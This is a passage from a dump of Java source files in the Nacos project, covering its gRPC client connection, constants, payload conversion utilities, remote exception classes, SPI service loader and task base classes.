    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.grpc.auto.Payload;\nimport com.alibaba.nacos.api.grpc.auto.RequestGrpc;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.RequestFuture;\nimport com.alibaba.nacos.api.remote.RpcScheduledExecutor;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.google.common.util.concurrent.FutureCallback;\nimport com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport io.grpc.ManagedChannel;\nimport io.grpc.stub.StreamObserver;\nimport org.checkerframework.checker.nullness.qual.Nullable;\n\nimport java.util.concurrent.CancellationException;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\n\n/**\n * gRPC connection.\n *\n * @author liuzunfei\n * @version $Id: GrpcConnection.java, v 0.1 2020年08月09日 1:36 PM liuzunfei Exp $\n */\npublic class GrpcConnection extends Connection {\n    \n    /**\n     * grpc channel.\n     */\n    protected ManagedChannel channel;\n    \n    Executor executor;\n    \n    /**\n     * stub to send request.\n     */\n    protected RequestGrpc.RequestFutureStub grpcFutureServiceStub;\n    \n    protected StreamObserver<Payload> payloadStreamObserver;\n    \n    public GrpcConnection(RpcClient.ServerInfo serverInfo, Executor executor) {\n        super(serverInfo);\n        this.executor = executor;\n    }\n    \n    @Override\n    public Response request(Request request, long timeouts) throws NacosException {\n        Payload grpcRequest = GrpcUtils.convert(request);\n        ListenableFuture<Payload> requestFuture = grpcFutureServiceStub.request(grpcRequest);\n        Payload grpcResponse;\n        try {\n            if (timeouts <= 0) {\n                grpcResponse = requestFuture.get();\n            } else {\n                grpcResponse = requestFuture.get(timeouts, TimeUnit.MILLISECONDS);\n            }\n        } catch (Exception e) {\n            throw new NacosException(NacosException.SERVER_ERROR, e);\n        }\n        \n        return (Response) GrpcUtils.parse(grpcResponse);\n    }\n    \n    @Override\n    public RequestFuture requestFuture(Request request) throws NacosException {\n        Payload grpcRequest = GrpcUtils.convert(request);\n        \n        final ListenableFuture<Payload> requestFuture = grpcFutureServiceStub.request(grpcRequest);\n        return new RequestFuture() {\n            \n            @Override\n            public boolean isDone() {\n                return requestFuture.isDone();\n            }\n            \n            @Override\n            public Response get() throws Exception {\n                Payload grpcResponse = requestFuture.get();\n                Response response = (Response) GrpcUtils.parse(grpcResponse);\n                if (response instanceof ErrorResponse) {\n                    throw new NacosException(response.getErrorCode(), response.getMessage());\n                }\n                return response;\n            }\n            \n            @Override\n            public Response get(long timeout) throws Exception {\n                Payload grpcResponse = requestFuture.get(timeout, TimeUnit.MILLISECONDS);\n                Response response = (Response) GrpcUtils.parse(grpcResponse);\n                if (response instanceof ErrorResponse) {\n                    throw new NacosException(response.getErrorCode(), response.getMessage());\n                }\n                return response;\n            }\n        };\n    }\n    \n    public void sendResponse(Response response) {\n        Payload convert = GrpcUtils.convert(response);\n        payloadStreamObserver.onNext(convert);\n    }\n    \n    public void sendRequest(Request request) {\n        Payload convert = GrpcUtils.convert(request);\n        payloadStreamObserver.onNext(convert);\n    }\n    \n    @Override\n    public void asyncRequest(Request request, final RequestCallBack requestCallBack) throws NacosException {\n        Payload grpcRequest = GrpcUtils.convert(request);\n        ListenableFuture<Payload> requestFuture = grpcFutureServiceStub.request(grpcRequest);\n        \n        //set callback .\n        Futures.addCallback(requestFuture, new FutureCallback<Payload>() {\n            @Override\n            public void onSuccess(@Nullable Payload grpcResponse) {\n                if (grpcResponse == null) {\n                    requestCallBack.onException(new NacosException(ResponseCode.FAIL.getCode(), \"grpc response is null\"));\n                    return;\n                }\n                Response response = (Response) GrpcUtils.parse(grpcResponse);\n                \n                if (response != null) {\n                    if (response instanceof ErrorResponse) {\n                        requestCallBack.onException(new NacosException(response.getErrorCode(), response.getMessage()));\n                    } else {\n                        requestCallBack.onResponse(response);\n                    }\n                } else {\n                    requestCallBack.onException(new NacosException(ResponseCode.FAIL.getCode(), \"response is null\"));\n                }\n            }\n            \n            @Override\n            public void onFailure(Throwable throwable) {\n                if (throwable instanceof CancellationException) {\n                    requestCallBack.onException(\n                            new TimeoutException(\"Timeout after \" + requestCallBack.getTimeout() + \" milliseconds.\"));\n                } else {\n                    requestCallBack.onException(throwable);\n                }\n            }\n        }, requestCallBack.getExecutor() != null ? requestCallBack.getExecutor() : this.executor);\n        // set timeout future.\n        ListenableFuture<Payload> payloadListenableFuture = Futures.withTimeout(requestFuture,\n                requestCallBack.getTimeout(), TimeUnit.MILLISECONDS, RpcScheduledExecutor.TIMEOUT_SCHEDULER);\n        \n    }\n    \n    @Override\n    public void close() {\n        if (this.payloadStreamObserver != null) {\n            try {\n                payloadStreamObserver.onCompleted();\n            } catch (Throwable ignored) {\n            }\n        }\n        \n        if (this.channel != null && !channel.isShutdown()) {\n            try {\n                this.channel.shutdownNow();\n            } catch (Throwable ignored) {\n            }\n        }\n    }\n    \n    /**\n     * Getter method for property <tt>channel</tt>.\n     *\n     * @return property value of channel\n     */\n    public ManagedChannel getChannel() {\n        return channel;\n    }\n    \n    /**\n     * Setter method for property <tt>channel</tt>.\n     *\n     * @param channel value to be assigned to property channel\n     */\n    public void setChannel(ManagedChannel channel) {\n        this.channel = channel;\n    }\n    \n    /**\n     * Getter method for property <tt>grpcFutureServiceStub</tt>.\n     *\n     * @return property value of grpcFutureServiceStub\n     */\n    public RequestGrpc.RequestFutureStub getGrpcFutureServiceStub() {\n        return grpcFutureServiceStub;\n    }\n    \n    /**\n     * Setter method for property <tt>grpcFutureServiceStub</tt>.\n     *\n     * @param grpcFutureServiceStub value to be assigned to property grpcFutureServiceStub\n     */\n    public void setGrpcFutureServiceStub(RequestGrpc.RequestFutureStub grpcFutureServiceStub) {\n        this.grpcFutureServiceStub = grpcFutureServiceStub;\n    }\n    \n    /**\n     * Getter method for property <tt>payloadStreamObserver</tt>.\n     *\n     * @return property value of payloadStreamObserver\n     */\n    public StreamObserver<Payload> getPayloadStreamObserver() {\n        return payloadStreamObserver;\n    }\n    \n    /**\n     * Setter method for property <tt>payloadStreamObserver</tt>.\n     *\n     * @param payloadStreamObserver value to be assigned to property payloadStreamObserver\n     */\n    public void setPayloadStreamObserver(StreamObserver<Payload> payloadStreamObserver) {\n        this.payloadStreamObserver = payloadStreamObserver;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/GrpcConstants.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Field;\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * GrpcConsts.\n *\n * @author karsonto\n */\npublic class GrpcConstants {\n    \n    public static final String NACOS_SERVER_GRPC_PORT_OFFSET_KEY = \"nacos.server.grpc.port.offset\";\n    \n    public static final String NACOS_CLIENT_GRPC = \"nacos.remote.client.grpc\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_NAME = NACOS_CLIENT_GRPC + \".name\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_THREADPOOL_KEEPALIVETIME = NACOS_CLIENT_GRPC + \".pool.alive\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_THREADPOOL_CORE_SIZE = NACOS_CLIENT_GRPC + \".pool.core.size\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_RETRY_TIMES = NACOS_CLIENT_GRPC + \".retry.times\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_TIMEOUT_MILLS = NACOS_CLIENT_GRPC + \".timeout\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_CONNECT_KEEP_ALIVE_TIME = NACOS_CLIENT_GRPC + \".connect.keep.alive\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_THREADPOOL_MAX_SIZE = NACOS_CLIENT_GRPC + \".pool.max.size\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_SERVER_CHECK_TIMEOUT = NACOS_CLIENT_GRPC + \".server.check.timeout\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_QUEUESIZE = NACOS_CLIENT_GRPC + \".queue.size\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_HEALTHCHECK_RETRY_TIMES = NACOS_CLIENT_GRPC + \".health.retry\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_HEALTHCHECK_TIMEOUT = NACOS_CLIENT_GRPC + \".health.timeout\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_MAX_INBOUND_MESSAGE_SIZE = NACOS_CLIENT_GRPC + \".maxinbound.message.size\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_CHANNEL_KEEP_ALIVE_TIME = NACOS_CLIENT_GRPC + \".channel.keep.alive\";\n    \n    @GRpcConfigLabel\n    public static final String GRPC_CHANNEL_KEEP_ALIVE_TIMEOUT = NACOS_CLIENT_GRPC + \".channel.keep.alive.timeout\";\n\n    @GRpcConfigLabel\n    public static final String GRPC_CHANNEL_CAPABILITY_NEGOTIATION_TIMEOUT = NACOS_CLIENT_GRPC + \".channel.capability.negotiation.timeout\";\n\n    @GRpcConfigLabel\n    public static final String GRPC_THREADPOOL_ALLOW_CORE_THREAD_TIMEOUT = NACOS_CLIENT_GRPC + \".pool.core.timeout\";\n\n    private static final Set<String> CONFIG_NAMES = new HashSet<>();\n    \n    @Documented\n    @Target(ElementType.FIELD)\n    @Retention(RetentionPolicy.RUNTIME)\n    protected @interface GRpcConfigLabel {\n    \n    }\n    \n    static {\n        Class clazz = GrpcConstants.class;\n        Field[] declaredFields = clazz.getDeclaredFields();\n        for (Field declaredField : declaredFields) {\n            declaredField.setAccessible(true);\n            if (declaredField.getType().equals(String.class) && null != declaredField.getAnnotation(\n                    GRpcConfigLabel.class)) {\n                try {\n                    CONFIG_NAMES.add((String) declaredField.get(null));\n                } catch (IllegalAccessException ignored) {\n                }\n            }\n        }\n    }\n    \n    public static Set<String> getRpcParams() {\n        return Collections.unmodifiableSet(CONFIG_NAMES);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/GrpcSdkClient.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfig;\n\nimport java.util.Map;\n\n/**\n * gRPC client for sdk.\n *\n * @author liuzunfei\n * @version $Id: GrpcSdkClient.java, v 0.1 2020年09月07日 11:05 AM liuzunfei Exp $\n */\npublic class GrpcSdkClient extends GrpcClient {\n    \n    /**\n     * Constructor.\n     *\n     * @param name name of client.\n     */\n    public GrpcSdkClient(String name) {\n        super(name);\n    }\n    \n    /**\n     * Constructor.\n     *\n     * @param name               name of client.\n     * @param threadPoolCoreSize .\n     * @param threadPoolMaxSize  .\n     * @param labels             .\n     */\n    public GrpcSdkClient(String name, Integer threadPoolCoreSize, Integer threadPoolMaxSize,\n            Map<String, String> labels) {\n        this(name, threadPoolCoreSize, threadPoolMaxSize, labels, null);\n    }\n    \n    public GrpcSdkClient(String name, Integer threadPoolCoreSize, Integer threadPoolMaxSize, Map<String, String> labels,\n            RpcClientTlsConfig tlsConfig) {\n        super(name, threadPoolCoreSize, threadPoolMaxSize, labels, tlsConfig);\n    }\n    \n    @Override\n    protected AbilityMode abilityMode() {\n        return AbilityMode.SDK_CLIENT;\n    }\n    \n    /**\n     * constructor.\n     *\n     * @param config of GrpcClientConfig.\n     */\n    public GrpcSdkClient(GrpcClientConfig config) {\n        super(config);\n    }\n    \n    @Override\n    public int rpcPortOffset() {\n        return Integer.parseInt(System.getProperty(GrpcConstants.NACOS_SERVER_GRPC_PORT_OFFSET_KEY,\n                String.valueOf(Constants.SDK_GRPC_PORT_DEFAULT_OFFSET)));\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/GrpcUtils.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.grpc.auto.Metadata;\nimport com.alibaba.nacos.api.grpc.auto.Payload;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.utils.NetUtils;\nimport com.alibaba.nacos.common.remote.PayloadRegistry;\nimport com.alibaba.nacos.common.remote.exception.RemoteException;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.fasterxml.jackson.databind.util.ByteBufferBackedInputStream;\nimport com.google.protobuf.Any;\nimport com.google.protobuf.ByteString;\nimport com.google.protobuf.UnsafeByteOperations;\n\nimport java.nio.ByteBuffer;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * gRPC utils, use to parse request and response.\n *\n * @author liuzunfei\n * @version $Id: GrpcUtils.java, v 0.1 2020年08月09日 1:43 PM liuzunfei Exp $\n */\npublic class GrpcUtils {\n    \n    /**\n     * convert request to payload.\n     *\n     * @param request request.\n     * @param meta    request meta.\n     * @return payload.\n     */\n    public static Payload convert(Request request, RequestMeta meta) {\n        //meta.\n        Payload.Builder payloadBuilder = Payload.newBuilder();\n        Metadata.Builder metaBuilder = Metadata.newBuilder();\n        if (meta != null) {\n            metaBuilder.putAllHeaders(request.getHeaders()).setType(request.getClass().getSimpleName());\n        }\n        metaBuilder.setClientIp(NetUtils.localIp());\n        payloadBuilder.setMetadata(metaBuilder.build());\n        \n        // request body .\n        byte[] jsonBytes = convertRequestToByte(request);\n        return payloadBuilder.setBody(Any.newBuilder().setValue(UnsafeByteOperations.unsafeWrap(jsonBytes))).build();\n        \n    }\n    \n    /**\n     * convert request to payload.\n     *\n     * @param request request.\n     * @return payload.\n     */\n    public static Payload convert(Request request) {\n        \n        Metadata newMeta = Metadata.newBuilder().setType(request.getClass().getSimpleName())\n                .setClientIp(NetUtils.localIp()).putAllHeaders(request.getHeaders()).build();\n        \n        byte[] jsonBytes = convertRequestToByte(request);\n        \n        Payload.Builder builder = Payload.newBuilder();\n        \n        return builder.setBody(Any.newBuilder().setValue(UnsafeByteOperations.unsafeWrap(jsonBytes)))\n                .setMetadata(newMeta).build();\n        \n    }\n    \n    /**\n     * convert response to payload.\n     *\n     * @param response response.\n     * @return payload.\n     */\n    public static Payload convert(Response response) {\n        byte[] jsonBytes = JacksonUtils.toJsonBytes(response);\n        \n        Metadata.Builder metaBuilder = Metadata.newBuilder().setType(response.getClass().getSimpleName());\n        return Payload.newBuilder().setBody(Any.newBuilder().setValue(UnsafeByteOperations.unsafeWrap(jsonBytes)))\n                .setMetadata(metaBuilder.build()).build();\n    }\n    \n    private static byte[] convertRequestToByte(Request request) {\n        Map<String, String> requestHeaders = new HashMap<>(request.getHeaders());\n        request.clearHeaders();\n        byte[] jsonBytes = JacksonUtils.toJsonBytes(request);\n        request.putAllHeader(requestHeaders);\n        return jsonBytes;\n    }\n    \n    /**\n     * parse payload to request/response model.\n     *\n     * @param payload payload to be parsed.\n     * @return payload\n     */\n    public static Object parse(Payload payload) {\n        Class classType = PayloadRegistry.getClassByType(payload.getMetadata().getType());\n        if (classType != null) {\n            ByteString byteString = payload.getBody().getValue();\n            ByteBuffer byteBuffer = byteString.asReadOnlyByteBuffer();\n            Object obj = JacksonUtils.toObj(new ByteBufferBackedInputStream(byteBuffer), classType);\n            if (obj instanceof Request) {\n                ((Request) obj).putAllHeader(payload.getMetadata().getHeadersMap());\n            }\n            return obj;\n        } else {\n            throw new RemoteException(NacosException.SERVER_ERROR,\n                    \"Unknown payload type:\" + payload.getMetadata().getType());\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/exception/ConnectionAlreadyClosedException.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.exception;\n\n/**\n * connection already closed exception.\n *\n * @author liuzunfei\n * @version $Id: ConnectionAlreadyClosedException.java, v 0.1 2020年07月22日 7:28 PM liuzunfei Exp $\n */\npublic class ConnectionAlreadyClosedException extends RemoteException {\n    \n    private static final int CONNECTION_ALREADY_CLOSED = 600;\n    \n    public ConnectionAlreadyClosedException(String msg) {\n        super(CONNECTION_ALREADY_CLOSED, msg);\n    }\n    \n    public ConnectionAlreadyClosedException() {\n        super(CONNECTION_ALREADY_CLOSED);\n    }\n    \n    public ConnectionAlreadyClosedException(Throwable throwable) {\n        super(CONNECTION_ALREADY_CLOSED, throwable);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/exception/ConnectionBusyException.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.exception;\n\n/**\n * connection is busy exception.\n *\n * @author liuzunfei\n * @version $Id: ConnectionBusyException.java, v 0.1 2020年11月30日 7:28 PM liuzunfei Exp $\n */\npublic class ConnectionBusyException extends RemoteException {\n    \n    private static final int CONNECTION_BUSY = 601;\n    \n    public ConnectionBusyException(String msg) {\n        super(CONNECTION_BUSY, msg);\n    }\n    \n    public ConnectionBusyException(Throwable throwable) {\n        super(CONNECTION_BUSY, throwable);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/exception/RemoteException.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.exception;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\n\n/**\n * super exception in remote module.\n *\n * @author liuzunfei\n * @version $Id: RemoteException.java, v 0.1 2020年07月22日 7:24 PM liuzunfei Exp $\n */\npublic class RemoteException extends NacosRuntimeException {\n    \n    public RemoteException(int errorCode) {\n        super(errorCode);\n    }\n    \n    public RemoteException(int errorCode, String msg) {\n        super(errorCode, msg);\n    }\n    \n    public RemoteException(int errorCode, Throwable throwable) {\n        super(errorCode, throwable);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/spi/NacosServiceLoader.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.spi;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.LinkedHashSet;\nimport java.util.Map;\nimport java.util.ServiceLoader;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Nacos SPI Service Loader.\n *\n * @author xiweng.yy\n */\npublic class NacosServiceLoader {\n    \n    private static final Map<Class<?>, Collection<Class<?>>> SERVICES = new ConcurrentHashMap<>();\n    \n    /**\n     * Load service.\n     *\n     * <p>Load service by SPI and cache the classes for reducing cost when load second time.\n     *\n     * @param service service class\n     * @param <T> type of service\n     * @return service instances\n     */\n    public static <T> Collection<T> load(final Class<T> service) {\n        if (SERVICES.containsKey(service)) {\n            return newServiceInstances(service);\n        }\n        Collection<T> result = new LinkedHashSet<>();\n        for (T each : ServiceLoader.load(service)) {\n            result.add(each);\n            cacheServiceClass(service, each);\n        }\n        return result;\n    }\n    \n    private static <T> void cacheServiceClass(final Class<T> service, final T instance) {\n        SERVICES.computeIfAbsent(service, k -> new LinkedHashSet<>()).add(instance.getClass());\n    }\n    \n    /**\n     * New service instances.\n     *\n     * @param service service class\n     * @param <T> type of service\n     * @return service instances\n     */\n    public static <T> Collection<T> newServiceInstances(final Class<T> service) {\n        return SERVICES.containsKey(service) ? newServiceInstancesFromCache(service) : Collections.<T>emptyList();\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    private static <T> Collection<T> newServiceInstancesFromCache(Class<T> service) {\n        Collection<T> result = new LinkedHashSet<>();\n        for (Class<?> each : SERVICES.get(service)) {\n            result.add((T) newServiceInstance(each));\n        }\n        return result;\n    }\n    \n    private static Object newServiceInstance(final Class<?> clazz) {\n        try {\n            return clazz.newInstance();\n        } catch (IllegalAccessException | InstantiationException e) {\n            throw new ServiceLoaderException(clazz, e);\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/spi/ServiceLoaderException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.spi;\n\n/**\n * Nacos service loader exception.\n *\n * @author xiweng.yy\n */\npublic class ServiceLoaderException extends RuntimeException {\n    \n    private static final long serialVersionUID = -4133484884875183141L;\n    \n    private final Class<?> clazz;\n    \n    public ServiceLoaderException(Class<?> clazz, Exception caused) {\n        super(String.format(\"Can not load class `%s` by SPI \", clazz.getName()), caused);\n        this.clazz = clazz;\n    }\n    \n    public Class<?> getClazz() {\n        return clazz;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/AbstractDelayTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task;\n\n/**\n * Abstract task which can delay and merge.\n *\n * @author huali\n * @author xiweng.yy\n */\npublic abstract class AbstractDelayTask implements NacosTask {\n    \n    /**\n     * Task time interval between twice processing, unit is millisecond.\n     */\n    private long taskInterval;\n    \n    /**\n     * The time which was processed at last time, unit is millisecond.\n     */\n    private long lastProcessTime;\n    \n    /**\n     * The default time interval, in milliseconds, between tasks.\n     */\n    protected static final long INTERVAL = 1000L;\n    \n    /**\n     * merge task.\n     *\n     * @param task task\n     */\n    public abstract void merge(AbstractDelayTask task);\n    \n    public void setTaskInterval(long interval) {\n        this.taskInterval = interval;\n    }\n    \n    public long getTaskInterval() {\n        return this.taskInterval;\n    }\n    \n    public void setLastProcessTime(long lastProcessTime) {\n        this.lastProcessTime = lastProcessTime;\n    }\n    \n    public long getLastProcessTime() {\n        return this.lastProcessTime;\n    }\n    \n    @Override\n    public boolean shouldProcess() {\n        return (System.currentTimeMillis() - this.lastProcessTime >= this.taskInterval);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/AbstractExecuteTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task;\n\n/**\n * Abstract task which should be executed immediately.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractExecuteTask implements NacosTask, Runnable {\n    \n    protected static final long INTERVAL = 3000L;\n    \n    @Override\n    public boolean shouldProcess() {\n        return true;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/BatchTaskCounter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * batch task counter.\n *\n * @author shiyiyue\n */\npublic class BatchTaskCounter {\n    \n    List<AtomicBoolean> batchCounter;\n    \n    public BatchTaskCounter(int totalBatch) {\n        initBatchCounter(totalBatch);\n    }\n    \n    /**\n     * init counter.\n     * @param totalBatch totalBatch.\n     */\n    private void initBatchCounter(int totalBatch) {\n        batchCounter = new ArrayList<>(totalBatch);\n        for (int i = 0; i < totalBatch; i++) {\n            batchCounter.add(i, new AtomicBoolean(false));\n        }\n    }\n    \n    /**\n     * set bath succeed.\n     * @param batch succeed batch.\n     */\n    public void batchSuccess(int batch) {\n        if (batch <= batchCounter.size()) {\n            batchCounter.get(batch - 1).set(true);\n        }\n    }\n    \n    /**\n     * check all completed.\n     * @return\n     */\n    public boolean batchCompleted() {\n        for (AtomicBoolean atomicBoolean : batchCounter) {\n            if (!atomicBoolean.get()) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    public int getTotalBatch() {\n        return batchCounter.size();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/NacosTask.java",
